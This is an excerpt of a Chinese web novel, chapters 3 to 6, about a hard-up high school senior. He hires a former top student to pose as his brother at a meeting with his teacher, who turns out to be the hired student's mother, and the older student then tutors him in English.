《你脸红个泡泡茶壶》
3. 第 3 章
裴渐。
简渲没想到自己随便捡到的一个演员竟然和自己一个学校，还是市理科状元。
但简渲也没时间想，胳膊上的淤青越来越广泛，时不时地阵痛打乱他的思绪，简渲抬起胳膊看了一眼，眉毛都没皱一下，轻声对孟凯说道：“到医务室还有多久。”
孟凯指了指前面的一栋小楼，“诺，就在那。”
话音刚落，孟凯就看见简渲松开自己扶着他的手往医务室的方向跑了过去。
简渲跑进医务室，把那只负伤的胳膊搁在桌子上，看了一眼校医，“哥，你帮我看看胳膊呗。”
校医停下收拾药品的动作，低头看了一眼简渲的右小臂，被吓了一跳，“哎呦，怎么整的，这么严重。”
医务室开着冷气，简渲把系在腰间的校服取下披在身上，轻描淡写道：“宇宙大爆发把我蹭伤了，哥，你就别问了，给我擦点药呗。”
校医从架子上拿出酒精和碘伏，边把棉签往简渲胳膊上怼边对简渲说道：“小朋友还是不要打架的好。”
简渲垂着头，盯着自己左手的手心使劲瞧，听见校医这么说，简渲点点头，“好的哥。”
校医稀奇地瞧了简渲一眼，“我还以为你们这种人会说要你管呢。”
简渲见校医给自己擦完碘伏，伸手接过校医手里的药，男生声音很小，像雨珠一样滴落在空气中：“我和他们不是一类人。”
简渲走出医务室，就看见孟凯站在医务室门口站着，显然站在那里等自己。
孟凯还在掐着腰喘气，见简渲出来，孟凯才气呼呼地开口：“你跑那么快干什么？”
简渲举着自己的胳膊朝孟凯眼睛前面怼了一下：“疼，擦药去了。”
“哦，”孟凯鼻子里一股碘伏味冲了上来，“你刚刚是不是在看英杰墙啊？我记得你中午午睡的时候在说裴渐。”
简渲见孟凯问自己，看了他一眼，“你知道他？”
孟凯点点头，“我之前就是南附初中部的，我初三的时候裴渐刚好高三，他特别出名，成绩又好长得还帅，我们初中班上的小女生就有好几个天天讨论他，你也认识裴渐啊？”
简渲收回胳膊，摸了摸兜里没有任何动静的手机，“算认识吧。”
孟凯哥俩好地拍拍简渲的肩膀，“那你怎么不找他教你英语，我记得我姐和他是一届的，我姐说裴渐早上经常在广播站读英语美文。”
简渲见孟凯和只仓鼠一样一直吐些有的没的的话，“这不是有你吗？”
“哦哦，那好吧。”孟凯嘿嘿笑了一声。
等回到教室的时候体育课已经结束了，见简渲从教室后门进来，宁蓓对他轻声说了一句，“于老师让你过去。”
简渲点点头，把校服外套放在桌上，“好。”
二度进宫的简渲已经熟练地完成了一整套流程，简渲站在于婉婷面前，女人旁边还站着秦文楼，秦文楼瞅见简渲进来，连忙对于婉婷说：“于老师，就是他故意绊我的。”
简渲有些不耐烦，他用右手揉了揉眼睛，轻声说道：“我没有，你自己踩到石头的。”
秦文楼还想说些什么，就看见简渲眼角掉了一滴眼泪在地上，他瞪大了眼睛，“你哭什么？”
简渲抬头望向于婉婷，声音有些磕磕绊绊，“老师，我真的没有绊秦文楼同学。”
末了，还很疼地嘶了一声。
还没等秦文楼继续说，于婉婷就对秦文楼说道：“行了，你先回去吧，我已经听班长说了中午的事情了，你们那群人一人一千字检讨，高三了，还没个正形。”
秦文楼走前瞪了简渲一眼，见秦文楼走了，于婉婷对简渲说道：“你联系到你爸爸了吗？”
简渲乖巧地点点头，“联系到了我哥哥，我爸爸没时间。”
于婉婷颔首，“行，我看你胳膊挺严重的，回去休息一晚上吧。”
“谢谢老师。”简渲接过于婉婷递给自己的假条。
回到教室，孟凯见简渲毫发无伤地从办公室出来，手里还拿着假条，凑上去对简渲说道：“刚刚秦文楼他们被于老师罚写检讨了，你竟然还拿了假条回来，你做啥了？”
简渲收拾好书包，左手钻进校服外套的袖子里，露出那只还涂着碘伏的右手，沉默了几秒，然后低声说道：“装哭。”
简渲拎着书包就朝教室后门走了，选择性忽视了身后孟凯的笑声。
简渲走出校门，等路过药房的时候，简渲的脚步顿住了一秒，他想起自己给裴渐转的一百块钱，最后还是没有走近药房。
他从兜里拿出手机，给手机里备注为黑网吧老板的人发了一条消息。
【duvet：哥，我今天请假了，网吧现在还缺人手吗？要我来不。】
很快，黑网吧老板的消息就来了。
【黑网吧老板：好。】
“老板，我要一桶泡面。”
黑网吧老板视线从电脑上挪开，对想跑去拿泡面的简渲说道：“我去吧，你胳膊不是伤了吗。忙了这么久，歇一会吧。”
简渲在黑网吧兼职，平时本来是上的夜班，今天于婉婷给自己放了半天的假，简渲就来多上半天班了。
简渲停下步子，“好。”
外面天已经黑了，简渲看了一眼时间，已经十一点多了，他没感觉到累，但他确实没想到自己已经忙了快九个小时。
他拿出手机，找到微信新多出的那个联系人，发出去了一条消息。
【duvet：哥，你不要忘了明天的事。】
等了几分钟，消息才姗姗来迟。
【一百块买的演员（心碎符号）：刚刚在洗澡，不会忘的，南城附中高三三班，下午一点，对吧？】
【duvet：对的，哥，你是我们学校前几届的学长是吧？你应该知道路吧。】
手机的另一头，裴渐正一手拿着毛巾擦头发，一手回复简渲的消息，看见简渲说自己是南附毕业的学生，裴渐挑了挑眉。
刚洗完澡的热气还环绕在裴渐身上，一只毛茸茸的猫从裴渐床上跳了下来，围着裴渐的腿打转。
裴渐坐在床边，把腿边的猫抱进怀里，原本还拿着毛巾的手摸上了猫下巴，裴渐挠了挠，看了眼一脸享受的猫，他又想到了白日里少年哭唧唧的表情。
【PJ：嗯，从哪知道的？】
【duvet：英杰墙。】
【PJ：什么时候建的这东西？我毕业的时候没有。】
【duvet：不知道，没注意过。】
床头的闹钟不适时地响起，裴渐看了眼时间，发现已经十二点了。
【一百块买的演员（心碎符号）：十二点了，怎么还没睡？】
看见裴渐的提醒，简渲才发现已经十二点了，手边是刚刚网吧老板给自己泡的泡面，简渲喝了一口汤，单手打字回复着裴渐的消息。
【duvet：我打游戏呢哥，先不聊了，游戏要输了。】
简渲发完这条消息就把手机塞回了兜里，他将泡面几口吃完，听见有人要热奶茶，简渲应了一声。
黑网吧凌晨三点才关门，简渲上夜班的时候老板答应让他在黑网吧里面住下，但南附高三六点半就要到学校。
从黑网吧到南附，坐公交只用二十五分钟，简渲五点半就得醒，他能睡的时间只有两个半小时，所以他经常在下课时间睡觉。
简渲到教室的时候就看了已经在座位上背单词的孟凯，他拉开自己的椅子，把书包塞进桌子里，“今天早自习不是
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数学吗？”
孟凯没有抬头，他快速看了一眼单词，然后才回答简渲的问题，“你昨天走了以后林老师说今早他有事，和老彪换一节早自习。”
林堂，简渲班上的数学老师。
简渲沉默，“早自习听写单词？几单元的。”
“选修三的单词随机听写，所有单元。”孟凯又写下一串单词。
简渲本想临时抱个佛脚，听见是选修三的所有内容以后他选择彻底放弃。
简渲把脑袋埋进胳膊里，“等会老彪来了喊我，我睡一会。”
孟凯点点头。
简渲没睡多久，没等孟凯喊他起来他就醒了，刚醒几秒，简渲就看见高表拿着英语书进来了。
“单词记好了吧？开始听写。”
简渲晃了晃还没缓过神的脑子，从桌子里随便掏了个本子。
“dimension。”
带门芯是什么？
简渲在本子上隔空画了几笔，刚抬头，就和高表的眼神对视上了。
高表快步走到简渲身后，看了眼简渲空白的本子，没说什么，把简渲放在桌子上的选修三英语书拿了出来，翻到单词表，指了一个单词，用只有两人能听见的音量说道，“你记。”
简渲点头，看着老彪刚刚指的单词。
大概就是刚刚老彪念的带门芯。
等单词听写完，高表就把所有本子收了上去，“你们自己记自己的，我改一下。”
上午过的很快，等所有人都去食堂吃饭的时候简渲把手机拿了出来，他给裴渐发了条消息。
【duvet：哥，十二点半了，你走了没。】
【一百块买来的演员（心碎符号）：我在文理楼下。】
文理楼就是南附高三的教学楼。
【duvet：怎么来这么早？】
【一百块买来的演员（心碎符号）：怎么没看见你。】
简渲打字的手愣住。
【duvet：我没下楼。】
【一百块买来的演员（心碎符号）：你下来，不吃饭吗？】
【duvet：我不饿。】
【一百块买来的演员（心碎符号）：我请你吃。】
裴渐看见男生的回复，站在人群里，皱了皱眉，转头看了一眼自己身边的教导主任：“老师，我等我弟弟，我带他吃饭，你说的那件事可以，到时候联系我就行。”
教导主任原本是在巡逻，在裴渐进学校的时候就认出来了裴渐，想到学校安排的事，他第一时间就想到了裴渐，没想到裴渐自己就回了学校。
“行，那你忙，方便告诉老师你弟弟是谁吗？”教导主任问道。
想到男生被老师叫家长，裴渐摇了摇头，“他害羞，不想被关注。”
“好好好，那你等弟弟吧，老师还有事忙。”
裴渐又在楼下等了一会，见男生终于磨磨蹭蹭地下来，他走上前，低头问道，“想吃什么？”
简渲没想到裴渐真的在楼下等自己，“我都可以。”
裴渐看了眼简渲，男生的眼下乌青，还穿着厚重的校服外套，“不热么？”
“还好吧。”简渲扯了扯校服领口。
“嗯，那我带你吃一食堂的梅菜扣肉吧，挺好吃的，”裴渐收起手机，拿出一张饭卡，塞到简渲手里，“我在家里找了一下，没想到饭卡还没扔，我没记错的话里面应该还有三百多块，等会刷这张卡吧，剩下的就给你了。”
简渲掌心还残留着裴渐手里的温热，他合了合手掌，指尖碰上被捂热的饭卡，心颤了颤，“不用了。”
“给你就收着，反正我用不上了，”裴渐拉起简渲的手腕，少年的手腕自己一手就握住了，“你太瘦了。”
4.第 4 章
简渲盯着裴渐握着自己的那只手瞧了好一会，右手手心还拿着裴渐递给自己的饭卡。
直到裴渐拉着他走到一食堂门口，简渲才回过神，见简渲还在发呆，裴渐戳戳简渲的脸。
简渲的脸很软，明明看着瘦，裴渐没想到简渲脸这么软。
“在想什么呢？不去拿盘子吗？”裴渐收回手，对简渲说道。
然后就看见男生往和拿餐盘的反方向走过去，裴渐愣住。
简渲听见裴渐让自己去拿餐盘，迷迷糊糊还没反应过来就走了，直到感觉到自己的衣领被人拉住，裴渐带着些笑意的声音在简渲身后传起，“傻了？如果我没记错，餐盘好像是在另一边拿。”
简渲回头，没有看裴渐一眼，声音僵硬，“哦。”
等和裴渐站在窗口的时候，简渲捏紧了手里的饭卡，食堂阿姨看了一眼简渲，说话带着一点方言，“小伙子瘦的哝，嬢嬢给你多打一点。”
简渲看了一眼盘子里满满的梅菜扣肉，指尖捏紧了餐盘的边缘，低声说了句，“谢谢。”
简渲端着盘子和裴渐找了个地方坐下，他捏着筷子戳着米饭，看了眼已经低头吃上饭的裴渐，“你干嘛请我吃饭。”
裴渐抬头，瞧见男生一刻都停不下的动作。
因为家养爱宠互相帮助原则。
裴渐在心里默默回答了一句，但他没有说，而是说道：“你太瘦了。”
简渲皱了皱眉，没有继续说些什么。
简渲吃饭很快，食堂阿姨给他打了太多菜，简渲有些吃不完，胃部传来隐隐胀痛，简渲伸手揉了揉，看了眼还在低头吃饭的裴渐，简渲没说话。
裴渐察觉到男生已经放下了筷子，也停下了动作，“吃饱了？”
简渲忽视掉腹部的胀痛，点点头，“吃饱了。”
裴渐将盘子放回，对简渲说道：“你先回教室吧，我还有点事，等会再去找你。”
简渲如释重负，他手中还捏着裴渐给自己的饭卡，“好，谢谢哥。”
回教室以后简渲就趴在在桌子上，他揉着腹部，试图缓解刚刚逞强吃了很多菜的痛觉，眼尾也挤出了几滴水。
简渲拿起放在桌角上的笔，转移注意力在纸上随手画着。
“小渲，你又睡着了啊？”身边椅子拉开的声音很大，是孟凯。
简渲没有回头，他声音有些闷，“没睡，有点不舒服。”
孟凯看了眼男生起伏有些大的身影，有些担忧，“我给你带了个面包，你吃吗？”
简渲把头彻底埋进桌子上，“不用了，我今天去食堂吃饭了。”
“那就行，我还以为你真的节食呢，”孟凯把面包塞进简渲的桌肚子里，“放你桌子里了，饿了就吃啊。”
见简渲没说话，身体的起伏也渐渐平缓下来，孟凯觉得简渲大概是睡着了。
简渲不知道自己睡了多久，午休铃一打简渲就去办公室了。
裴渐还没来，办公室只剩下于婉婷和自己，于婉婷看着睡眼惺忪的简渲，“趴着睡会吧，我等你哥哥就行。”
简渲点点头。
文理楼一层只有一个办公室，裴渐很快就找到了地方，等进去以后裴渐就看见了穿着宽大的校服趴着睡着的简渲，以及一个有些眼熟的背影。
听见办公室门口传来声响，于婉婷回头，然后沉默住。
裴渐原本打好的腹稿在看见于婉婷那张和自己有五六分相似的脸的时候顿时消失的一干二净。
如果他没看错，面前的人应该是自己的亲妈。
亲的。
于婉婷看见裴渐的表情僵住，看了已经睡着的简渲，最后还是没有叫醒简渲，她笑出了声，抽出个凳子，示意裴渐坐下，然后说道，“你是简渲的爸爸？”
裴渐觉得他妈是气笑的。
裴渐坐下，对于婉婷说道：“妈，不是爸爸，是哥哥。”
于婉婷见裴渐还有心思跟自己开玩笑，撑着下巴懒洋洋地开口，“我什么时候又生了个儿子？”
裴渐也不再说其他的，只是和于婉婷解释，“他和我说他和他爸爸吵架了，让我帮忙来见个老师。”
这个他，自然说的是在他们母子俩面前睡的安稳的简渲。
于婉婷没说什么，只是把简渲的成绩单丢到裴渐的面前，“看看。”
裴渐拿起于婉婷扔给自己的成绩单，看了起来。
简渲学的的物化生，成绩有些惨不忍睹。
语文110分，数学90分，英语51分，物理66分，化学60分，生物60分，总分437分。
除了英语，其他的全丢都卡在及格线。
裴渐挑了挑，笑了起来，“这小孩还挺厉害的。”
于婉婷抢过裴渐手中的成绩单，有些生气的看向裴渐，“厉害是厉害，我好不容易找个借口见他家长，结果这孩子找了个演员糊弄我。”
裴渐看了眼睡得很沉的男生，又看了眼自己亲妈，两人似乎在一瞬间达成了一样的想法，都起身往走廊走去。
“干嘛要见他家长？”裴渐靠在栏杆上，眼前似乎还能看见男生背对自己睡着时饱满的后脑勺。
嗯，这点也和他家咪咪很像。
“他是我们学校之前的特招生，你猜猜是什么学科特招进来的？”于婉婷叹了口气，说道。
裴渐想起简渲只有一科没有及格的成绩，半开玩笑地说道，“英语？”
于婉婷踹了裴渐一脚，没好气地说道：“数学。”
裴渐想到简渲数学刚刚及格的成绩，有些想不通，“高中以后听不懂了？”
于婉婷摇摇头，“我一开始也是这么想的，后面数学老师给我看了那孩子的答题卡，哪是不会做，后面几个答题连解都不写，只写了一个正确答案。数学老师本来想去找那孩子算账，被我拦下了，我觉得这个年龄段的孩子做任何事肯定都是有自己的想法。”
裴渐没说话，只是望着办公室的门口。
“我教他英语吧。”裴渐突然开口。
于婉婷有些惊讶地看了裴渐一眼，“你想套话？不行......”
还没说完，于婉婷就看见裴渐笑了一下，声音很小，感觉会被风卷走，“帮他英语也及个格，套话这种事我干不出来，他愿意说就说。”
简渲醒来的时候办公室已经只剩下于婉婷一个人了，他揉了揉眼睛，就听见于婉婷说：“你哥哥已经走了，还有十分钟就上课了，回去吧。”
简渲扯了扯粘着脖子的衣领，“好
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简渲回到教室后就把手机掏了出来，他点开和裴渐的聊天框，手指在键盘上轻轻戳着。
【duvet：谢谢哥。】
【一百块买来的演员（心碎符号）：没事，就是你们老师认出我来了，让我教你英语。】
简渲的手指悬在半空，最后加快速度打下了一行字。
【duvet：不用了哥，谢谢你。】
【一百块买来的演员（心碎符号）：没事，你有问题问我就行。】
简渲看见裴渐发来的消息，刚想继续推辞，对面的男人似乎就察觉了自己的心思，一条消息很快接了上来。
【一百块买来的演员（心碎符号）：这一百块就当学费了。】
简渲看着自己给男人的备注，想起自己如同割肉一般割出去的一百块钱，咬咬牙，最后打了一个字出去。
【duvet：好。】
简渲刚发完消息，就看见孟凯从厕所的方向走了回来。
孟凯发现简渲醒着，把脑袋凑了过去，声音有些兴奋，“你猜我在厕所遇见谁了？”
简渲把手机塞回兜里，对孟凯的话题不是特别感兴趣，但还是捧场一样地问道：“谁？”
“教导主任和年级主任！你猜他们在说什么！”孟凯说。
简渲随口猜了一句，“谁发现违纪的人更多。”
孟凯啧了一声，伸出一根手指在简渲面前晃了晃，“nonono，是这周五要办一个优秀毕业生回校演讲。”
简渲对这些演讲更不感兴趣了，这些演讲无非就是洗脑大会，让高三高二高一的所有同学向这些优秀学生看齐。
简渲很熟悉这种流程。
“今天周几？”简渲问道。
孟凯还以为简渲来兴趣了，回道：“周二，还有三天。”
简渲点点头，“到时候我出校，你帮我瞒着啊，结束就回来。”
孟凯知道简渲在做兼职存钱，不然他也不会给简渲带面包这些吃的，“你很缺钱吗？”
简渲没说是，也没说不是，只说了句，“存着总比没有好。”
孟凯若有所思地点点头。
夏天昼长夜短，就连晚上也蒙蒙亮着，简渲放学以后就去了黑网吧。
晚上是黑网吧人最多的时候，因为没有正规的营业执照，里面很多学生和没有成年的混混，简渲走了进去，对老板说了句，“哥，我来了。”
黑网吧老板见简渲来了，关心地问道，“胳膊好了没。”
简渲把自己胳膊抬起来给老板看了一眼，胳膊的淤青非但没消，还更青紫了，“好的差不多了，不疼。”
老板点点头，“没事就好。”
简渲又送过去一碗泡面，甩了甩有些酸麻的手。
网吧里的人渐渐都走了，很安静，几乎没了什么人，简渲蹲在角落，从书包里掏出英语书。
他看了眼几乎都不认识的单词，又想起白天裴渐说的话，本想给对方发消息，可看了眼时间，已经凌晨一点了，人估计早睡了。
简渲双腿缩在一起，他把头靠在膝盖上，呼出一口压在心底的气，给微信置顶是个小婴儿头像的人发过去一条消息。
【duvet：他回家了吗？】
5.第 5 章
简渲没打算立马收到对面的回信，他把手机熄屏，脑袋埋在膝盖上，简渲闭了闭眼睛，心口的乌云还缠绕着。
“小渲，20号机来碗酸辣粉！”男人的声音有些大，简渲抖了一下，睁开有些雾蒙蒙的眼睛。
简渲调整了一下呼吸，“来了哥。”
简渲从柜台随手拿了包桶装的酸辣粉，在饮水机里接了开水，然后往20号机走了过去。
20号机的机主是个年龄有些大的男人，不常见，简渲把泡好的酸辣粉放在男人桌前，“哥，酸辣粉好了。”
男人戴着耳机，大概根本就没听见简渲说了一些什么，或许是察觉到了视线变得昏暗，男人这才拉住想转身离去的简渲。
“帮我把这碗酸辣粉拿给我儿子，他暑假作业还没写完，他妈会发火，我把儿子带出来赶作业了。”男人指了指在一个空位上埋头写作业的男孩，有些不好意思地挠了挠头。
简渲看了一眼还冒着热气的酸辣粉，又看了一眼似乎在用电脑赶ppt的男人，很轻地点点头。
男人的儿子看上去很小，估计只有十一二岁，简渲端着酸辣粉走到男孩身边。
男孩应该是闻到了气味，眼睛冒着星星，盯着简渲手里的酸辣粉，“哇，哥哥，好香。”
简渲伸手打开了盖子，“你爸爸对你挺好的。”
听见眼前好看的大哥哥这么说，男孩使劲摇了摇头，“都怪爸爸天天带我玩4399，不然我作业早写完了。”
简渲轻轻笑了一下，“几年级了？”
男孩嗦了一口酸辣粉，口齿不清，“唔黏急。”
五年级。
简渲点点头，视线落在男孩的暑假作业上，上面的题目简渲很熟悉。
“追及问题？”简渲开口。
男孩吞下粉，狠狠点了一下，“我不会，哥哥你会吗？”
简渲没说自己会还是不会，“公式记得吗？”
男孩愣住，似乎是在记忆里寻找，最后还是扑了个空，“我忘了。”
简渲拿起男孩放在书上的笔，写下一串字母。
（s1-s2）=（v1-v2）*t
男生的字迹很工整，最后在末尾点了个点。
“哥哥你好厉害，还能记得公式。”男孩有些佩服简渲，声音带着惊异。
简渲拍了拍男孩的头，“只是对这个公式印象比较深而已，好好学习，哥哥忙去了。”
简渲摸了摸指腹，笔尖的触感还停留在手上，似乎想起了不太好的记忆，男生的脸色有些苍白。
等到网吧关门，简渲照例收拾垃圾，收拾到一半，就在刚才那个还在赶作业的男孩的座位上看见了一张多出的纸条。
纸条上的字有些歪歪扭扭，但还是能看出写了些什么。
【谢谢哥哥，只是哥哥好像不太开心，希望哥哥看见这颗糖能开心一点。】
纸条的上方压着一颗椰子糖。
简渲收拾东西的动作停下，他拿起那张纸条，看了又看。
外面不知什么时候开始下起了雨，简渲口中还含着男孩给自己的椰子糖，很甜，简渲找遍了自己想到的所有形容词，最后他觉得最适配的还是很甜。
他不记得自己多久没有吃糖了。
去学校的时候简渲没有坐公交，他跑步过去的，中途路过了一家包子铺，简渲买了个酱肉包。
进教室的时候简渲看见了自己想看见的人，他随手把还热腾的酱肉包扔在孟凯桌子上，“诺。”
孟凯本来还不清醒，闻见肉的味道的后脑子清醒了不少，他颠了颠分量很重的酱肉包，“还得是你啊小渲，我妈做的早餐难吃死了，每天都饿着来学校。”
简渲翻到桌肚子里孟凯昨天给自己带的面包，打开之后囫囵往嘴里塞了几口，就把剩下的面包放了回去。
男生本来没多少肉的脸颊鼓了起来，“有早餐就不错了。”
孟凯略有所思地点点头，“那也是。”
简渲吞下面包，已经有些饱了，他刚抬头，就和高表那张大脸对上，简渲扯了扯嘴角，“老彪，今天早自习不是换成数学了吗？”
高表慈爱地摸了摸简渲的脑袋，又从兜里扔了个烧麦在简渲桌子上，见简渲拿起烧麦啃了起来才缓缓开口，“我来，只是想告诉你一下，等会英语小测，你准备好了吗？”
简渲原本对高表的投喂非常乐意，闻言咀嚼的动作停了下来，“我说没有能不考吗？”
“不能，所以好好准备，简渲小同学。”高表挥了挥手，深藏功与名离去了。
简渲把整个烧麦团进嘴里，撑着头翻开了英语书。
他本想临时记一会，没想到越着急越记不住，直到结束了好几节课，高表拿着一叠白花花的卷子走进来，简渲才发现自己好像什么都没记住。
简渲转着笔，看向小测卷上的第一道阅读题。
ok。
Air空气，他认识。
is他也认识。
简渲扫了几眼，视线最后停在第七个单词上。
Gases。
简渲对自己的记忆力很有自信，他不认识。
简渲放弃读懂，直接翻到了选项，试图通过选项找答案。
于是简渲终于通过自己的认真阅读发现，这些abcd选项和正文有个屁相关，找不到一句一模一样的。
古有秦始皇统六国，今有简小渲学英语。
秦始皇成，简小渲败，遂，简小渲决定乱选。
简渲随手写了一串字母，什么顺口就选什么，比如acdb，bcda之内的。
几秒后，简渲通过自己的努力翻到了作文。
【假设你是李华......】
简渲放下笔，看了眼周围都还在和阅读理解死磕的辛勤小蜜蜂，不由感慨既创英何生渲。
高表就站在讲台下，把简渲整个过程的小表情小动作看的一清二处，他悄无声息地走到简渲身边，趁着简渲感慨自己生不逢时的时候拎起了简渲的英语卷子。
“简渲小同学，真偷偷学了啊？前两篇阅读理解全对，后面的总共就错了三个。”高表有些欣慰。
？
简渲在心里扣出一个问号。
“那明天你来讲这张卷子吧。”高表猜到了简渲是蒙的，但他就是不信这孩子英语能这么差。
不给简渲拒绝的机会，高表转身就走了。
只留下简渲一个人在风中凌乱。
孟凯听见了高表和简渲的对话，有些惊讶地凑了上来，“你背着我偷偷学啦？”
学个蛋啊学，他哪知道自己随机生成的选项顺口溜真全蒙对了，也没见自己月考这么牛逼。
简渲掐了一下孟凯试图晃自己的胳膊，“别动手动脚，不就一点英语阅读吗？拿下轻轻松松。”
英语是两节连堂，结束的时候刚好距离吃午饭只有十分钟，简渲兜里还装着裴渐给自己的饭卡，男生有些红润的指尖摸到饭卡上的刻痕。
简渲把饭卡拿出来，这才发现饭卡上刻了裴渐的名
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字。
裴渐两个字写的苍劲有力，一撇一捺都带着笔锋，后面还标了班级，2021届3班。
简渲原本摩挲刻痕的指腹突然变得有些滚烫。
原本对这个饭卡抱有的不好想法也烟消云散，简渲觉得自己指腹的温度越来越高。
裴渐为什么对自己这么好。
简渲不明白。
等周围终于安静下来，简渲心脏开始跳了起来，他嘴里嚼着早上剩下的面包，把手机拿了出来，点开微信就看见置顶的婴儿头像那里多了一个红点。
简渲给婴儿头像的备注是奶奶，对方发了一条语音，声音很低，但又带着老人特有的缓慢。
“没有呢，乖崽最近在学校怎么样阿，还有没有打架，不要打架阿，奶奶和你讲，得读书，不然像......”
后面的语音没了，大概是老人自己取消了，不过简渲已经猜到了奶奶想说什么。
他也发了一条语音过去，这种方式就像两人独有的暗号，“奶奶，我没有打架啦，你照顾好自己，等我这个月攒够钱就回来看你。”
少年的声音一顿一顿地说完，格外地认真。
简渲回完消息，就把手机收了起来，桌上还放着裴渐的饭卡，简渲盯着裴渐那几个字瞧了很久，好像要把他瞧出花来。
他想不到裴渐给他饭卡的理由，不是想从自己这里拿到好处，也不是为了做面子。
除了这两种理由，简渲想不到其他的。
昨天裴渐给自己饭卡的时候，简渲甚至想过把这张饭卡卖了赚钱，但他最后的良心还是没有允许自己这种下作的行为。
留下来。
简渲心里的小人说着。
算了，有机会还给裴渐吧，反正自己也用不上。
简渲指尖不停戳着饭卡上刻着的裴渐两个字，似乎想通过这种方式来知道裴渐怀的什么坏心思。
直到把自己戳困了，简渲掌心搭在饭卡上，脸颊肉挤在弯着的手臂上，睡了过去。
“简渲，简渲。”
简渲晃了晃脑袋，就看见宁蓓站在自己面前，女生手里捏着一个面包，“孟凯让我带给你的，他有点事，要晚点才回来。”
简渲捏着面包包装袋的边角，接过宁蓓手里的面包，“谢谢了。”
宁蓓摇摇头，“没事。”
简渲把面包放在书包里，低头才发现裴渐的饭卡上多了一点面包屑。
简渲擦了擦自己的嘴角。
等到午休，高表拿着一沓试卷走了进来，“改完了，课代表发下去。还有简渲，别忘了我和你说的事啊。”
简渲生无可恋地点点头。
直到开始上夜班一个小时以后，简渲手里还捏着自己那张通过顺口溜蒙对的卷子。
简渲捏紧了试卷，最后还是走到黑网吧老板面前，“哥，我现在有点事，请两个小时假成不。”
老板大气地挥挥手，“没事，去吧。”
见老板答应，简渲蹲到自己的小窝里面，点开和裴渐的微信界面，和那个疑似生疏过分的备注，简渲指尖动了动。
【duvet：救救我。】
【目的不明：怎么了？】
【duvet：英语小测不小心蒙对了百分之七十五，老师让我明天讲。】
简渲半天没等到裴渐的回复，刚下定决心明天自己糊弄过去算了，微信就弹出了一个视频界面。
简渲原本握着手机的手滑了一下，掉落在地上的手机突然自己变成了接听状态。
6.第 6 章
屏幕上多出了一张雪白的天花板，边框是有些发亮的白炽灯。
裴渐手边是蹭着自己掌心睡觉的咪咪，他揉揉咪咪的脑袋，没瞧见人影，“人呢？”
简渲把掉在床上的手机拿了起来，这才发现自己手机屏幕上是裴渐的脸，简渲第一次仔细看裴渐的长相，裴渐和英杰墙的照片差别不大，只是瞳孔是灰蓝色的，睫毛翘翘的，男人好像洗过头，鼻尖还有一点水珠，再往下看，就是红得有些过分的嘴唇。
简渲把摄像头靠近自己的脸颊边缘，荧幕上也留给裴渐能看的只有几根泛着点黄的头发丝。
简渲似乎有些害臊，声音带着一点怒音，“你打视频干嘛？”
扬声器里传来男人的低笑，由于简渲把手机放在脸边，裴渐的笑声似乎3d环绕在自己周围的空气里。
简渲捂了捂耳朵，磕磕绊绊地说道：“你打视频干嘛？”
裴渐那边传来咕噜咕噜的呼吸声，男人大概是怕吵醒什么，起身往外面走去，边走边对简渲说道：“不是明天要当小老师吗？教你。”
简渲枕头边就是上午的那张小测卷，他手下意识往后移动，却碰到了试卷。
“哦..哦，好。”
裴渐应该是坐下了，他翻转了摄像头，对着桌子，随手从书柜上拿了个不要的草稿本，“给我看看试卷。”
简渲下意识想拿起试卷，一阵刺痛却在指腹传来，“嘶——”
他低头一看，就看见指腹的皮破了，还带着一滴血珠。
裴渐听见了对面男生的轻呼声，“怎么了？”
简渲用拇指随手搓了搓，“没事。”
“好，给我看下试卷。”裴渐那边晃了晃，然后很快停住，男人的双手都露出在屏幕里。
简渲将被子盖在腿上，然后才把卷子放在被窝上，做完这一切，简渲才戳下屏幕翻转。
入目就是一张白色床单，裴渐挑了挑眉，“在床上？”
简渲挪了挪腿，把腿支楞起来，充当支架，“不想起床。”
裴渐没再说什么，低声问简渲：“你先读一下a篇阅读，我听听。”
几秒后，男生的声音还是没有响起来，裴渐又想到男生51分的英语成绩，好像明白了些什么。
最后还是裴渐开口打破了现在僵持的局面，“不会读？”
然后就听见简渲如同苍蝇般的声音，“嗯。”
“那我给你读一遍，然后翻译，你把不知道的单词......”裴渐话说到一半，然后顿住，“你把整个文章的翻译写在每一行的空行里。”
简渲应了声好。
裴渐的声音很快就在手机里传了出来，男人的音线很清冽，简渲觉得有点像树叶打击雨水。
孟凯应该没说错，裴渐高三在广播站天天读英语美文，虽然不知道男人是什么发音，但听上去很舒服。
简渲跟着学了几句，只不过没有声音。
很快男人的声音就听了下来，“带笔了吗？”
简渲在兜里翻了翻，很快翻到一只蓝色圆珠笔，“带了。”
“嗯，我给你翻译一下这篇文章，然后我再带你看选项。”看见漏着蓝色水墨的笔尖点在试卷上，才继续开口。
“空气中富有很多气体......”裴渐讲题的方式和孟凯给简渲讲题的时候用的方式不一样。
孟凯喜欢看一个选项再去读原文，裴渐却是把整个文章拆成好几个部分去讲。
大概简渲和思维和裴渐比较同步，简渲觉得自己听懂了裴渐在说的abc。
直到最后d篇阅读的最后一个选项讲完，简渲看了眼时间，已经一点了，裴渐也发现时间不早了，他嗓音有些哑，“听懂了吗？”
简渲点点头，然后才想起裴渐看不见自己的动作，“应该懂了。”
“好，早点睡。”裴渐说。
简渲看了一眼自己密密麻麻全是笔记的试卷，心里五味杂陈，“谢谢哥。”
裴渐不知道笑点在哪里，反正就是笑了，在挂断视频的最后一秒，简渲听见男人说，“明天见。”
不知道是不是他听错了。
视频挂断以后自动返回到了聊天界面，简渲扫了一眼通话时长。
两个小时十分钟四十八秒。
七千八百四十八秒。
简渲张了张唇，消息界面就多了一条消息。
【目的不明：晚安。】
简渲现在只觉得面前的英语小测卷是个烫手山芋，他把卷子塞进书包里，然后看着裴渐发来的消息。
大概几秒后，简渲才戳下几个字。
【duvet：好梦。】
简渲本想继续去网吧里上会班，但网吧老板把他赶了回来，说今天人少，他自己忙得过来。
于是简渲睡了一个自从他打工以来最长的觉。
大概是睡前对裴渐的祝福在他自己身上生效了，简渲做了一个梦。
直到闹钟响起，简渲才不情不愿地从梦里抽身。
“小渲，你准备好没有啊？”孟凯见简渲一脸不满地走进教室，问道。
简渲从书包里掏出那张密密麻麻蓝色字迹的试卷，“抱到大腿了。”
孟凯瞪大眼睛，双手有些颤抖地拎起那张根本不可能属于简渲的试卷，他看了眼简渲上面标注的笔记，“你哪是抱到大腿了，你是不是被abc人附体了。”
简渲脸贴着桌子，显然是没睡醒，“你说是就是吧。”
简渲知道裴渐给自己讲的这些都是标准解题答案，等到高表真的把自己喊上去讲题的时候简渲还是有些害臊。
或许是这种情况下，人的感知都会变得灵敏，简渲听见了一声很小很小的“嘁”。
